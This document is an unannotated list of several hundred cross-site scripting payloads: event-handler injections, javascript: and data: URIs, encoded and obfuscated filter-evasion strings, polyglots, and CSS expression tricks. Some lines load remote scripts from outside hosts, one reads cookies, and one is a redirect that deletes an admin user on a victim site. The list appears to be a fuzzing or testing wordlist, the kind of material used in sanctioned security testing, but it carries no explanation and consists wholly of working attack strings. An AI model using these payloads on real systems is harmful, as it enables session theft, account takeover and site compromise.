<wbr id=x tabindex=1 onbeforedeactivate=alert(1)></wbr><input autofocus>
<wbr id=x tabindex=1 ondeactivate=alert(1)></wbr><input id=y autofocus>
<wbr onbeforepaste="alert(1)" contenteditable>test</wbr>
<wbr onblur=alert(1) tabindex=1 id=x></wbr><input autofocus>
<wbr onclick="alert(1)">test</wbr>
<wbr oncontextmenu="alert(1)">test</wbr>
<wbr oncopy="alert(1)" contenteditable>test</wbr>
<wbr oncut="alert(1)" contenteditable>test</wbr>
<wbr ondblclick="alert(1)">test</wbr>
<wbr onfocusout=alert(1) tabindex=1 id=x></wbr><input autofocus>
<wbr onkeydown="alert(1)" contenteditable>test</wbr>
<wbr onkeypress="alert(1)" contenteditable>test</wbr>
<wbr onkeyup="alert(1)" contenteditable>test</wbr>
<wbr onmousedown="alert(1)">test</wbr>
<wbr onmouseenter="alert(1)">test</wbr>
<wbr onmouseleave="alert(1)">test</wbr>
<wbr onmousemove="alert(1)">test</wbr>
<wbr onmouseout="alert(1)">test</wbr>
<wbr onmouseover="alert(1)">test</wbr>
<wbr onmouseup="alert(1)">test</wbr>
<xmp draggable="true" ondrag="alert(1)">test</xmp>
<xmp draggable="true" ondragend="alert(1)">test</xmp>
<xmp draggable="true" ondragenter="alert(1)">test</xmp>
<xmp draggable="true" ondragleave="alert(1)">test</xmp>
<xmp draggable="true" ondragstart="alert(1)">test</xmp>
<xmp id=x tabindex=1 onactivate=alert(1)></xmp>
<xmp id=x tabindex=1 onbeforeactivate=alert(1)></xmp>
<xmp id=x tabindex=1 onbeforedeactivate=alert(1)></xmp><input autofocus>
<xmp id=x tabindex=1 ondeactivate=alert(1)></xmp><input id=y autofocus>
<xmp onbeforepaste="alert(1)" contenteditable>test</xmp>
<xmp onblur=alert(1) tabindex=1 id=x></xmp><input autofocus>
<xmp onclick="alert(1)">test</xmp>
<xmp oncontextmenu="alert(1)">test</xmp>
<xmp oncopy="alert(1)" contenteditable>test</xmp>
<xmp oncut="alert(1)" contenteditable>test</xmp>
<xmp ondblclick="alert(1)">test</xmp>
<xmp onfocusout=alert(1) tabindex=1 id=x></xmp><input autofocus>
<xmp onkeydown="alert(1)" contenteditable>test</xmp>
<xmp onkeypress="alert(1)" contenteditable>test</xmp>
<xmp onkeyup="alert(1)" contenteditable>test</xmp>
<xmp onmousedown="alert(1)">test</xmp>
<xmp onmouseenter="alert(1)">test</xmp>
<xmp onmouseleave="alert(1)">test</xmp>
<xmp onmousemove="alert(1)">test</xmp>
<xmp onmouseout="alert(1)">test</xmp>
<xmp onmouseover="alert(1)">test</xmp>
<xmp onmouseup="alert(1)">test</xmp>
<xss id=x tabindex=1 onactivate=alert(1)></xss>
<xss id=x tabindex=1 onbeforeactivate=alert(1)></xss>
<xss id=x tabindex=1 onbeforedeactivate=alert(1)></xss><input autofocus>
<xss id=x tabindex=1 onblur=alert(1)></xss><input autofocus>
<xss id=x tabindex=1 ondeactivate=alert(1)></xss><input autofocus>
<xss id=x tabindex=1 onfocus=alert(1)></xss>
<xss id=x tabindex=1 onfocusin=alert(1)></xss>
<xss id=x tabindex=1 onfocusout=alert(1)></xss><input autofocus><SCRIPT>alert('XSS');</SCRIPT>
<LAYER SRC="http://ha.ckers.org/scriptlet.html"></LAYER>
<XML SRC="http://ha.ckers.org/xsstest.xml" ID=I></XML>
<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT>alert`1`
alert(1)
alert(1)
(alert)(1)
a=alert,a(1)
[1].find(alert)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1)
navigator.vibrate(500)
eval(URL.slice(-8))>#alert(1)
eval(location.hash.slice(1)>#alert(1)
innerHTML=location.hash>#<script>alert(1)</script>onclick=eval/**/(/ale/.source%2b/rt/.source%2b/(7)/.source);
<div/style=\-\mo\z\-b\i\nd\in\g:\url(//business\i\nfo.co.uk\/labs\/xbl\/xbl\.xml\#xss)>
<div/style=\-\mo\z\-b\i\nd\in\g:\url(//business\i\nfo.co.uk\/labs\/xbl\/xbl\.xml\#xss)&>
<div style=\-\mo\z\-b\i\nd\in\g:\url(//business\i\nfo.co.uk\/labs\/xbl\/xbl\.xml\#xss)>
<div    style=\-\mo\z\-b\i\nd\in\g:\url(//business\i\nfo.co.uk\/labs\/xbl\/xbl\.xml\#xss)>
<x/style=-m\0o\0z\0-b\0i\0nd\0i\0n\0g\0:\0u\0r\0l\0(\0/\0/b\0u\0s\0i\0ne\0s\0s\0i\0nf\0o\0.c\0o\0.\0u\0k\0/\0la\0b\0s\0/\0x\0b\0l\0/\0x\0b\0l\0.\0x\0m\0l\0#\0x\0s\0s\0)>
];a=eval;b=alert;a(b(16));//
};a=eval;b=alert;a(b(12));//
;//%0da=eval;b=alert;a(b(10));//
<BODY BACKGROUND="javascript:alert('XSS');">
<!--<A href="- --><a href=javascript:alert:document.domain>test-->
<%3C<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<\x3c\x3C\u003c\u003C
<script>var a = "</script> <script> alert('XSS !'); </script> <script>";</script>
eval(name)
<?xml version="1.0"?><html:html xmlns:html='http://www.w3.org/1999/xhtml'><html:script>alert(document.cookie);</html:script></html:html>
style=color: expression(alert(0));" a="
a=<a><b>%3c%69%6d%67%2f%73%72%63%3d%31%20%6f%6e%65%72%72%6f%72%3d%61%6c%65%72%74%28%31%29%3e</b></a>document.write(unescape(a..b))
Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser
s1=''+'java'+''+'scr'+'';s2=''+'ipt'+':'+'ale'+'';s3=''+'rt'+''+'(1)'+''; u1=s1+s2+s3;URL=u1
s1=0?'1':'i'; s2=0?'1':'fr'; s3=0?'1':'ame'; i1=s1+s2+s3; s1=0?'1':'jav'; s2=0?'1':'ascr'; s3=0?'1':'ipt'; s4=0?'1':':'; s5=0?'1':'ale'; s6=0?'1':'rt'; s7=0?'1':'(1)'; i2=s1+s2+s3+s4+s5+s6+s7;
s1=0?'':'i';s2=0?'':'fr';s3=0?'':'ame';i1=s1+s2+s3;s1=0?'':'jav';s2=0?'':'ascr';s3=0?'':'ipt';s4=0?'':':';s5=0?'':'ale';s6=0?'':'rt';s7=0?'':'(1)';i2=s1+s2+s3+s4+s5+s6+s7;i=createElement(i1);i.src=i2;x=parentNode;x.appendChild(i);
s1=['java'+''+''+'scr'+'ipt'+':'+'aler'+'t'+'(1)'];
s1=['java'||''+'']; s2=['scri'||''+'']; s3=['pt'||''+''];
s1=!''&&'jav';s2=!''&&'ascript';s3=!''&&':';s4=!''&&'aler';s5=!''&&'t';s6=!''&&'(1)';s7=s1+s2+s3+s4+s5+s6;URL=s7;
s1='java'||''+'';s2='scri'||''+'';s3='pt'||''+'';
<a href = "javas cript :ale rt(1)">test
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64###PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
<A HREF="http://6	6.000146.0x7.147/">XSS</A>
style=-moz-binding:url(http://h4k.in/mozxss.xml#xss);" a="
sstyle=foobar"tstyle="foobar"ystyle="foobar"lstyle="foobar"estyle="foobar"=-moz-binding:url(http://h4k.in/mozxss.xml#xss)>foobar</b>#xss)" a="
b=top,a=/loc/ . source,a+=/ation/ . source,b[a=a] = name
a=/ev/// .source a+=/al/// .source a[a] (name)
a=/ev/ .source a+=/al/ .source,a = a[a] a(name)
setTimeout//
<SCRIPT>a=/XSS/alert(a.source)</SCRIPT>
<BODY onload!#$%&()*~+-_.###:;?@[/|\]^`=alert("XSS")>
</noscript><code onmouseover=a=eval;b=alert;a(b(/h/.source));>MOVE MOUSE OVER THIS AREA</code>
perl -e 'print "<IMG SRC=java\0script:alert("XSS")>";'> out
perl -e 'print "&<SCR\0IPT>alert("XSS")</SCR\0IPT>";' > out
<body onload=;;;;;;;;;;;_=alert;_(1);;;;
<body <body onload=;;;;;al:eval('al'+'ert(1)');;>
<IMGSRC=java&<WBR>#115;crip&<WBR>#116;:ale&<WBR>#114;t('XS<WBR>;S')>
<IMGSRC=javas&<WBR>#x63ript:&<WBR>#x61lert(&<WBR>#x27XSS')>
<IMGSRC=ja&<WBR>#0000118as&<WBR>#0000099ri&<WBR>#0000112t:&<WBR>#0000097le&<WBR>#0000114t(&<WBR>#0000039XS&<WBR>#0000083')>
>"'><img%20src%3D%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;%26%23x70;%26%23x74;%26%23x3a;
alert(%26quot;%26%23x20;XSS%26%23x20;Test%26%23x20;Successful%26quot;)>
<body/””$/onload=x={doc:parent['document']};x.doc.writeln(1)
<body/""$/onload=x={doc:parent['document']};x.doc.writeln(1)
123[''+<_>ev</_>+<_>al</_>](''+<_>aler</_>+<_>t</_>+<_>(1)</_>);
s1=<s>evalalerta(1)a</s>,s2=<s></s>+'',s3=s1+s2,e1=/s/!=/s/?s3[0]:0,e2=/s/!=/s/?s3[1]:0,e3=/s/!=/s/?s3[2]:0,e4=/s/!=/s/?s3[3]:0,e=/s/!=/s/?0[e1+e2+e3+e4]:0,a1=/s/!=/s/?s3[4]:0,a2=/s/!=/s/?s3[5]:0,a3=/s/!=/s/?s3[6]:0,a4=/s/!=/s/?s3[7]:0,a5=/s/!=/s/?s3[8]:0,a6=/s/!=/s/?s3[10]:0,a7=/s/!=/s/?s3[11]:0,a8=/s/!=/s/?s3[12]:0,a=a1+a2+a3+a4+a5+a6+a7+a8,1,e(a)
o={x:''+<s>eva</s>+<s>l</s>,y:''+<s>aler</s>+<s>t</s>+<s>(1)</s>};function f() { 0[this.x](this.y) }f.call(o);
___=1?'ert(123)':0,_=1?'al':0,__=1?'ev':0,1[__+_](_+___)
a="get"; b="URL(""; c="javascript:"; d="alert('XSS');")";eval(a+b+c+d);
open(name)
0%0d%0a%00<script src=//h4k.in>
s1=''+'java'+''+'scr'+'';s2=''+'ipt'+':'+'ale'+'';s3=''+'rt'+''+'(1)'+'';u1=s1+s2+s3;URL=u1
<SCRIPT>alert('XSS')</SCRIPT>
<SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
a=0||'ev'+'al',b=0||location.hash,c=0||'sub'+'str',1[a](b[c](1))
a=0||'ev'+'al'||0;b=0||'locatio';b+=0||'n.h'+'ash.sub'||0;b+=0||'str(1)';c=b[a];c(c(b))
eval.call(this,unescape.call(this,location))
d=0||'une'+'scape'||0;a=0||'ev'+'al'||0;b=0||'locatio';b+=0||'n'||0;c=b[a];d=c(d);c(d(c(b)))
l= 0 || 'str',m= 0 || 'sub',x= 0 || 'al',y= 0 || 'ev',g= 0 || 'tion.h',f= 0 || 'ash',k= 0 || 'loca',d= (k) + (g) + (f),a
_=eval,__=unescape,___=document.URL,_(__(___))
$_=document,$__=$_.URL,$___=unescape,$_=$_.body,$_.innerHTML = $___(http=$__)
$=document,$=$.URL,$$=unescape,$$$=eval,$$$($$($))
evil=/ev/.source+/al/.source,changeProto=/Strin/.source+/g.prototyp/.source+/e.ss=/.source+/Strin/.source+/g.prototyp/.source+/e.substrin/.source+/g/.source,hshCod=/documen/.source+/t.locatio/.source+/n.has/.source+/h/.source;7[evil](changeProto);hsh=7[evil](hshCod),cod=hsh.ss(1);7[evil](cod)
with(location)with(hash)eval(substring(1))
<style>body:after{content: “\61\6c\65\72\74\28\31\29″}</style><script>
a=alert;a(0)
<TABLE BACKGROUND="javascript:alert('XSS')"></TABLE>
<TABLE><TD BACKGROUND="javascript:alert('XSS')"></TD></TABLE>
</textarea><code onmouseover=a=eval;b=alert;a(b(/g/.source));>MOVE MOUSE OVER THIS AREA</code>
http://aa"><script>alert(123)</script>
http://aa'><script>alert(123)</script>
>%22%27><img%20src%3d%22javascript:alert(%27%20XSS%27)%22><script>onerror=alert;throw 1337</script>
<script>{onerror=alert}throw 1337</script>
<script>throw onerror=alert,'some string',123,'haha'</script>
<script>{onerror=eval}throw'=alert\x281337\x29'</script>
<script>{onerror=eval}throw{lineNumber:1,columnNumber:1,fileName:1,message:'alert\x281\x29'}</script>
<script>{onerror=prompt}throw{lineNumber:1,columnNumber:1,fileName:'second argument',message:'first argument'}</script>
<script>throw/a/,Uncaught=1,g=alert,a=URL+0,onerror=eval,/1/g+a[12]+[1337]+a[13]</script>
<script>TypeError.prototype.name ='=/',0[onerror=eval]['/-alert(1)//']</script><svg onload=alert(1)>
"><svg onload=alert(1)//
"onmouseover=alert(1)//
"autofocus/onfocus=alert(1)//
'-alert(1)-'
'-alert(1)//
\'-alert(1)//
</script><svg onload=alert(1)>
<x contenteditable onblur=alert(1)>lose focus!
<x onclick=alert(1)>click this!
<x oncopy=alert(1)>copy this!
<x oncontextmenu=alert(1)>right click this!
<x oncut=alert(1)>copy this!
<x ondblclick=alert(1)>double click this!
<x ondrag=alert(1)>drag this!
<x contenteditable onfocus=alert(1)>focus this!
<x contenteditable oninput=alert(1)>input here!
<x contenteditable onkeydown=alert(1)>press any key!
<x contenteditable onkeypress=alert(1)>press any key!
<x contenteditable onkeyup=alert(1)>press any key!
<x onmousedown=alert(1)>click this!
<x onmousemove=alert(1)>hover this!
<x onmouseout=alert(1)>hover this!
<x onmouseover=alert(1)>hover this!
<x onmouseup=alert(1)>click this!
<x contenteditable onpaste=alert(1)>paste here!
<script>alert(1)//
<script>alert(1)<!–
<script src=//brutelogic.com.br/1.js>
<script src=//3334957647/1>
%3Cx onxxx=alert(1)
<%78 onxxx=1
<x %6Fnxxx=1
<x o%6Exxx=1
<x on%78xx=1
<x onxxx%3D1
<X onxxx=1
<x OnXxx=1
<X OnXxx=1
<x onxxx=1 onxxx=1
<x/onxxx=1
<x%09onxxx=1
<x%0Aonxxx=1
<x%0Conxxx=1
<x%0Donxxx=1
<x%2Fonxxx=1
<x 1='1'onxxx=1
<x 1="1"onxxx=1
<x </onxxx=1
<x 1=">" onxxx=1
<http://onxxx%3D1/
<x onxxx=alert(1) 1='
<svg onload=setInterval(function(){with(document)body.appendChild(createElement('script')).src='//HOST:PORT'},0)>
'onload=alert(1)><svg/1='
'>alert(1)</script><script/1='
*/alert(1)</script><script>/*
*/alert(1)">'onload="/*<svg/1='
`-alert(1)">'onload="`<svg/1='
*/</script>'>alert(1)/*<script/1='
<script>alert(1)</script>
<script src=javascript:alert(1)>
<iframe src=javascript:alert(1)>
<embed src=javascript:alert(1)>
<a href=javascript:alert(1)>click
<math><brute href=javascript:alert(1)>click
<form action=javascript:alert(1)><input type=submit>
<isindex action=javascript:alert(1) type=submit value=click>
<form><button formaction=javascript:alert(1)>click
<form><input formaction=javascript:alert(1) type=submit value=click>
<form><input formaction=javascript:alert(1) type=image value=click>
<form><input formaction=javascript:alert(1) type=image src=SOURCE>
<isindex formaction=javascript:alert(1) type=submit value=click>
<object data=javascript:alert(1)>
<iframe srcdoc=<svg/onload=alert(1)>>
<svg><script xlink:href=data:,alert(1) />
<math><brute xlink:href=javascript:alert(1)>click
<svg><a xmlns:xlink=http://www.w3.org/1999/xlink xlink:href=?><circle r=400 /><animate attributeName=xlink:href begin=0 from=javascript:alert(1) to=&>
<html ontouchstart=alert(1)>
<html ontouchend=alert(1)>
<html ontouchmove=alert(1)>
<html ontouchcancel=alert(1)>
<body onorientationchange=alert(1)>
"><img src=1 onerror=alert(1)>.gif
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"/>
GIF89a/*<svg/onload=alert(1)>*/=alert(document.domain)//;
<script src="data:,alert(1)//
"><script src=data:,alert(1)//
<script src="//brutelogic.com.br/1.js#
"><script src=//brutelogic.com.br/1.js#
<link rel=import href="data:text/html,<script>alert(1)</script>
"><link rel=import href=data:text/html,<script>alert(1)</script>
<base href=//0>
<script/src="data:,eval(atob(location.hash.slice(1)))//#alert(1)
<body onfocus=alert(1)>
<body onhashchange=alert(1)><a href=#x>click this!#x
<body style=overflow:auto;height:1000px onscroll=alert(1) id=x>#x
<body onscroll=alert(1)><br><br><br><br>
<br><br><br><br><br><br><br><br><br><br>
<br><br><br><br><br><br><x id=x>#x
<body onresize=alert(1)>press F12!
<body onhelp=alert(1)>press F1! (MSIE)
<marquee onstart=alert(1)>
<marquee loop=1 width=0 onfinish=alert(1)>
<audio src onloadstart=alert(1)>
<video onloadstart=alert(1)><source>
<input autofocus onblur=alert(1)>
<select onchange=alert(1)><option>1<option>2
<menu id=x contextmenu=x onshow=alert(1)>right click me!
<Img Src=javascript:alert(1) OnError=location=src>';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>=&{}
%BCscript%BEalert(%A2XSS%A2)%BC/script%BE
<HTML xmlns:xss><?import namespace="xss" implementation="http://ha.ckers.org/xss.htc"><xss:xss>XSS</xss:xss></HTML>
<XML ID=I><X><C><![CDATA[<IMG SRC="javas]]]]><![CDATA[><![CDATA[cript:alert('XSS');">]]]]><")-'
"-eval("window['pro'%2B'mpt'](8)")-"
"onclick=prompt(8)>"@x.y
"onclick=prompt(8)><svg/onload=prompt(8)>"@x.y
<image/src/onerror=prompt(8)>
<img/src/onerror=prompt(8)>
<image src/onerror=prompt(8)>
<img src/onerror=prompt(8)>
<image src =q onerror=prompt(8)>
<img src =q onerror=prompt(8)>
</scrip</script>t><img src =q onerror=prompt(8)>
%253Cscript%253Ealert('XSS')%253C%252Fscript%253E
<object onerror=javascript:javascript:alert(1)>
<embed type="image" src=%(scriptlet)s></embed>
<XML ID=I><X><C><![CDATA[<IMG SRC="javas]]<![CDATA[cript:javascript:alert(1);">]]</C><X></xml>
<IMG SRC=&{javascript:alert(1);};>
<a href="javAascript:javascript:alert(1)">test1</a>
<a href="javaascript:javascript:alert(1)">test1</a>
<embed width=500 height=500 code="data:text/html,<script>%(payload)s</script>"></embed>
<iframe srcdoc="<iframe/srcdoc=&lt;img/src=&apos;&apos;onerror=javascript:alert(1)&gt;>">
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";
alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--
></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
perl -e 'print "<IMG SRC=java\0script:alert(\"XSS\")>";' > out
exp/*<A STYLE='no\xss:noxss("*//*");xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
<OBJECT TYPE="text/x-scriptlet" DATA="http://ha.ckers.org/scriptlet.html"></OBJECT>
<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-
<A HREF="htt p://6 6.000146.0x7.147/">XSS</A>
<img/src=`%00` onerror=this.onerror=confirm(1)
<ScRipT 5-0*3+9/3=>prompt(1)</ScRipT giveanswerhere=?
<iframe/src="data:text/html,<svg onload=alert(1)>">
<style/onload=prompt('XSS')
<script ^__^>alert(String.fromCharCode(49))</script ^__^
/*iframe/src*/<iframe/src="<iframe/src=@"/onload=prompt(1) /*iframe/src*/>
<object data=data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+></object>
‘; alert(1);
‘)alert(1);//
<ScRiPt>alert(1)</sCriPt>
<IMG SRC=jAVasCrIPt:alert(‘XSS’)>
<IMG SRC=”javascript:alert(‘XSS’);”>
<IMG SRC=javascript:alert(‘XSS’)>
<img src=xss onerror=alert(1)>
<img/src=`%00` onerror=this.onerror=confirm(1)
<iframe style="xg-p:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)">
<script/src=data:text/javascript,alert(1)></script>
<div style="xg-p:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)" onclick="alert(1)">x</button>
<SCRIPT>String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41)</SCRIPT>
‘;alert(String.fromCharCode(88,83,83))//’;alert(String.fromCharCode(88,83,83))//”;alert(String.fromCharCode(88,83,83))//”;alert(String.fromCharCode(88,83,83))//–></SCRIPT>”>’><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
<IMG “””><SCRIPT>alert(“XSS”)</SCRIPT>”>
<IMG SRC=”jav ascript:alert(‘XSS’);”>
<IMG SRC=”jav	ascript:alert(‘XSS’);”>
<<SCRIPT>alert(“XSS”);//<</SCRIPT>
%253cscript%253ealert(1)%253c/script%253e
“><s”%2b”cript>alert(document.cookie)</script>
foo<script>alert(1)</script>
<scr<script>ipt>alert(1)</scr</script>ipt>
<BODY BACKGROUND=”javascript:alert(‘XSS’)”>
<BODY ONLOAD=alert(‘XSS’)>
<INPUT TYPE=”IMAGE” SRC=”javascript:alert(‘XSS’);”>
<IMG SRC=”javascript:alert(‘XSS’)”
javascript:alert("hellox worldss")
<img src="javascript:alert('XSS');">
<img src=javascript:alert("XSS")>
<"';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))<?/SCRIPT>&submit.x=27&submit.y=9&cmd=search
<script>alert("hellox worldss")</script>&safe=high&cx=006665157904466893121:su_tzknyxug&cof=FORID:9#510
<script>alert("XSS");</script>&search=1
0&q=';alert(String.fromCharCode(88,83,83))//\';alert%2?8String.fromCharCode(88,83,83))//";alert(String.fromCharCode?(88,83,83))//\";alert(String.fromCharCode(88,83,83)%?29//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83%?2C83))</SCRIPT>&submit-frmGoogleWeb=Web+Search
<h1><font color=blue>hellox worldss</h1>
<BODY ONLOAD=alert('hellox worldss')>
<input onfocus=write(XSS) autofocus>
<input onblur=write(XSS) autofocus><input autofocus>
<body onscroll=alert(XSS)><br><br><br><br><br><br>...<br><br><br><br><input autofocus>
<form><button formaction="javascript:alert(XSS)">lol
<!--<img src="--><img src=x onerror=alert(XSS)//">
<![><img src="]><img src=x onerror=alert(XSS)//">
<style><img src="</style><img src=x onerror=alert(XSS)//">
<% foo><x foo="%><script>alert(123)</script>">
<div style="font-family:'foo ;color:red;';">LOL
LOL<style>*{/*all*/color/*all*/:/*all*/red/*all*/;/[0]*IE,Safari*[0]/color:green;color:bl/*IE*/ue;}</style>
<script>({0:#0=alert/#0#/#0#(0)})</script>
<svg xmlns="http://www.w3.org/2000/svg">LOL<script>alert(123)</script></svg>
<SCRIPT>alert(/XSS/.source)</SCRIPT>
\\";alert('XSS');//
</TITLE><SCRIPT>alert(\"XSS\");</SCRIPT>
<INPUT TYPE=\"IMAGE\" SRC=\"javascript:alert('XSS');\">
<BODY BACKGROUND=\"javascript:alert('XSS')\">
<BODY ONLOAD=alert('XSS')>
<IMG DYNSRC=\"javascript:alert('XSS')\">
<IMG LOWSRC=\"javascript:alert('XSS')\">
<BGSOUND SRC=\"javascript:alert('XSS');\">
<BR SIZE=\"&{alert('XSS')}\">
<LAYER SRC=\"http://ha.ckers.org/scriptlet.html\"></LAYER>
<LINK REL=\"stylesheet\" HREF=\"javascript:alert('XSS');\">
<LINK REL=\"stylesheet\" HREF=\"http://ha.ckers.org/xss.css\">
<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>
<META HTTP-EQUIV=\"Link\" Content=\"<http://ha.ckers.org/xss.css>; REL=stylesheet\">
<STYLE>BODY{-moz-binding:url(\"http://ha.ckers.org/xssmoz.xml#xss\")}</STYLE>
<XSS STYLE=\"behavior: url(xss.htc);\">
<STYLE>li {list-style-image: url(\"javascript:alert('XSS')\");}</STYLE><UL><LI>XSS
<IMG SRC='vbscript:msgbox(\"XSS\")'>
<IMG SRC=\"mocha:[code]\">
<IMG SRC=\"livescript:[code]\">
žscriptualert(EXSSE)ž/scriptu
<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=javascript:alert('XSS');\">
<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K\">
<META HTTP-EQUIV=\"refresh\" CONTENT=\"0; URL=http://;URL=javascript:alert('XSS');\"
<IFRAME SRC=\"javascript:alert('XSS');\"></IFRAME>
<FRAMESET><FRAME SRC=\"javascript:alert('XSS');\"></FRAMESET>
<TABLE BACKGROUND=\"javascript:alert('XSS')\">
<TABLE><TD BACKGROUND=\"javascript:alert('XSS')\">
<DIV STYLE=\"background-image: url(javascript:alert('XSS'))\">
<DIV STYLE=\"background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029\">
<DIV STYLE=\"width: expression(alert('XSS'));\">
<STYLE>@im\port'\ja\vasc\ript:alert(\"XSS\")';</STYLE>
<IMG STYLE=\"xss:expr/*XSS*/ession(alert('XSS'))\">
<XSS STYLE=\"xss:expression(alert('XSS'))\">
exp/*<A STYLE='no\xss:noxss(\"*//*\");
xss:ex/*XSS*//*/*/pression(alert(\"XSS\"))'>
<STYLE TYPE=\"text/javascript\">alert('XSS');</STYLE>
<STYLE>.XSS{background-image:url(\"javascript:alert('XSS')\");}</STYLE><A CLASS=XSS></A>
<STYLE type=\"text/css\">BODY{background:url(\"javascript:alert('XSS')\")}</STYLE>
<!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]-->
<BASE HREF=\"javascript:alert('XSS');//\">
<OBJECT TYPE=\"text/x-scriptlet\" DATA=\"http://ha.ckers.org/scriptlet.html\"></OBJECT>
<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT>
<EMBED SRC=\"http://ha.ckers.org/xss.swf\" AllowScriptAccess=\"always\"></EMBED>
<EMBED SRC=\"data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==\" type=\"image/svg+xml\" AllowScriptAccess=\"always\"></EMBED>
a=\"get\";
b=\"URL(\\"\";
c=\"javascript:\";
d=\"alert('XSS');\\")\";
eval(a+b+c+d);
<HTML xmlns:xss><?import namespace=\"xss\" implementation=\"http://ha.ckers.org/xss.htc\"><xss:xss>XSS</xss:xss></HTML>
<XML ID=I><X><C><![CDATA[<IMG SRC=\"javas]]><![CDATA[cript:alert('XSS');\">]]>
</C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
<XML ID=\"xss\"><I><B><IMG SRC=\"javas<!-- -->cript:alert('XSS')\"></B></I></XML>
<SPAN DATASRC=\"#xss\" DATAFLD=\"B\" DATAFORMATAS=\"HTML\"></SPAN>
<XML SRC=\"xsstest.xml\" ID=I></XML>
<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
<HTML><BODY>
<?xml:namespace prefix=\"t\" ns=\"urn:schemas-microsoft-com:time\">
<?import namespace=\"t\" implementation=\"#default#time2\">
<t:set attributeName=\"innerHTML\" to=\"XSS<SCRIPT DEFER>alert("XSS")</SCRIPT>\">
</BODY></HTML>
<SCRIPT SRC=\"http://ha.ckers.org/xss.jpg\"></SCRIPT>
<!--#exec cmd=\"/bin/echo '<SCR'\"--><!--#exec cmd=\"/bin/echo 'IPT SRC=http://ha.ckers.org/xss.js></SCRIPT>'\"-->
<? echo('<SCR)';
echo('IPT>alert(\"XSS\")</SCRIPT>'); ?>
<IMG SRC=\"http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode\">
Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser
<META HTTP-EQUIV=\"Set-Cookie\" Content=\"USERID=<SCRIPT>alert('XSS')</SCRIPT>\">
<HEAD><META HTTP-EQUIV=\"CONTENT-TYPE\" CONTENT=\"text/html; charset=UTF-7\"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-
<SCRIPT a=\">\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>
<SCRIPT =\">\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>
<SCRIPT a=\">\" '' SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>
<SCRIPT \"a='>'\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>
<SCRIPT a=`>` SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>
<SCRIPT a=\">'>\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>
<SCRIPT>document.write(\"<SCRI\");</SCRIPT>PT SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>
<A HREF=\"http://66.102.7.147/\">XSS</A>
